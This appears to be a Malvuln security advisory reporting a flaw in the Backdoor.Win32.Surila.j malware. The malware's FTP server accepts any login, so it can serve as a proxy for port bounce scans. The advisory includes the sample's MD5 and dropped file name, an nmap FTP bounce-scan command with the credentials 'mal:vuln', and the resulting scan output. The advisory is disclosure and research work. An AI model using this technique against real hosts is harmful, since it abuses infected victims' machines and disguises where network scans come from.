Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.Surila.j  
Vulnerability: Port Bounce Scan  
Description: The malware listens on random TCP high port numbers typically starting with "1" E.g. 12356, 14985, 13850, 19050, 13137. The malware has an FTP component that accepts any username/password credentials. Third-party attackers who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.  
Type: PE32  
MD5: b1cec4b806c71c82bbd9002bdaf21d1f  
Vuln ID: MVID-2021-0288  
Dropped files: iexp1orer.exe  
Disclosure: 07/12/2021  
nmap -Pn -n -b mal:vuln@ -p21,23,80 -v  
Starting Nmap 7.80 ( ) at 2021-07-10 15:19 Pacific Daylight Time  
Resolved FTP bounce attack proxy to (  
Attempting connection to ftp://mal:vuln@  
Connected:220 Bot Server (Win32)  
Login credentials accepted by FTP server!  
Discovered open port 80/tcp on  
Completed Bounce Scan at 15:20, 20.45s elapsed (3 total ports)  
Nmap scan report for  
Host is up.  
21/tcp closed ftp  
23/tcp closed telnet  
80/tcp open http  
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